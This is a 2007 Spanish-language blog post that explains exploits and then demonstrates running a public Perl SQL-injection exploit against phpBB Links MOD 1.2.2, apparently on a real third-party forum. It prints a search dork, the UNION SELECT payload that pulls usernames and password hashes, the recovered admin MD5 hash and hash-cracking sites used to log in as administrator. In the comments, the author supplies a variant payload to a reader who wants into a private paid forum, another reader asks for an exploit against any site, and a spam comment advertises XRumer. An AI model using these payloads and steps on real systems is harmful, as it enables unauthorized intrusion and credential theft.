2 de octubre de 2007

Ejemplo de funcionamiento de un exploit

Quienes no saben lo que son los exploits les sugiero que lean detenidamente este artículo porque son justamente estas herramientas las que utilizan los crackers para infiltrarse en sistemas desprotegidos o descuidados, los cuales muchas veces permiten accesos de root o Administrador en la máquina afectada. Vamos por paso, en primer lugar ¿que es un exploit?. Son pequeños trozos de código (en cualquier lenguaje) que están escritos para aprovecharse de vulnerabilidades y/o errores específicos dentro de un sistema... para lograr acceder a él de forma ilegítima o causar otro tipo de problemas. Hay que tener en cuenta siempre que TODOS los software del mundo son desarrollados por humanos, por lo tanto es normal encontrarse con errores en los códigos. Estos errores, comúnmente llamados bugs, pueden ser del tipo desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc.

Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre "exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.

Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos

Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.

Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.

Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.

Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.

Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.

Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).

h4x0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r--r-- 1 h4x0r h4x0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4x0r@tarro:~/Desktop/exploit$

y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.

h4x0r@tarro:~/Desktop/exploit$ perl phpBB2.pl

phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit

Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*

=> Insert URL
=> without ( http )
=>
www.motoqueros.cl

=> Insert directory
=> es: /forum/ - /phpBB2/
=>
/foros/

=> User ID
=> Number:
=>
1

Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b

Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.

Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.

10 comentarios:

Anónimo dijo...

Muy interesante! Sin embargo hay una cosa que no entiendo. Despues de poner la ruta de la pagina,como sabes el nombre del directorio que tienes que poner?
Yo estoy intentandolo con esta pagina:
bolsaelzorro.foros.ws y no consigo que el script me funcione.
Alguna idea?
Gracias!

Xavi dijo...

Intenta en vez de links.php search.php

search.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*

Xavi dijo...

DE todas maneras conseguirás el md5 pero luego no se puede saber el pwd si no es fácil o está en diccionarios . Por forza bruta puedes tardar años..

Anónimo dijo...

Pues vaya.
Yo lo que quiero es acceder a un subforo dentro de esa pagina.Ya tengo usuario y contraseña,pero no para ese foro en concreto.
Hay alguna manera de acceder aunque solo sea en modo lectura?
De hecho ni quiero sabotear,ni escribir ni nada de eso,solo quiero enterarme de lo que allí digan (son recomendaciones de bolsa,muy interesante jejeje)
Existe alguna manera?

Xavi dijo...

Solo podrás entrar en un foro privado si tienes la cuenta de un usuario que pueda verla. Y este foro como se llama? :p

Anónimo dijo...

jeje se llama bolsaelzorro.foros.ws
Allí dentro hay un foro general de bolsa y otro foro que se llama bolsa VIP,donde se supone que el dueño de la pagina y cuatro enchufadillos se cuentan recomendaciones de valores.En un principio iba a ser una pagina libre,pero ahora para acceder al apartado VIP,al dueño se le ha ocurrido recolectar dinero de los foreros para fundar una sociedad o algo así.
Total,que los que llevamos muchos meses en esa pagina y no queremos soltar 3000 eurazos,nos tenemos que joder y quedarnos con el foro general,sin acceso al VIP.
Por eso me gustaría hackear ese puto foro y poder acceder limpiamente.Echale un vistazo,quizas puedas hacer algo.Yo no tengo mucha experiencia con todo el tema este de exploits,defaces y todas estas historias.
Gracias por todo! Si quieres te paso mi mail si quieres mas informacion.
Saludos

Xavi dijo...

Bueno solo decirte que esta web es una estafa, la sociedad no está registrada en la cnmv, pero bueno, avisado estas, huye de ese foro.

http://foros.recoletos.es/foros-expansion/thread.jspa?threadID=113852&tstart=15

Anónimo dijo...

no,si ya lo se! No voy a soltar ni un centimo,pero eso no quiere decir que no sea interesante entrar en la parte privada del foro...

Anónimo dijo...

amigo necesito un exploit que ataque una pagina web cualquiera es un ejemplo para la universidad este es mi correo por si me colaboras muchisimas gracias.

chamy_116@hotmail.com

Anónimo dijo...

Who knows where to download XRumer 5.0 Palladium?
Help, please. All recommend this program to effectively advertise on the Internet, this is the best program!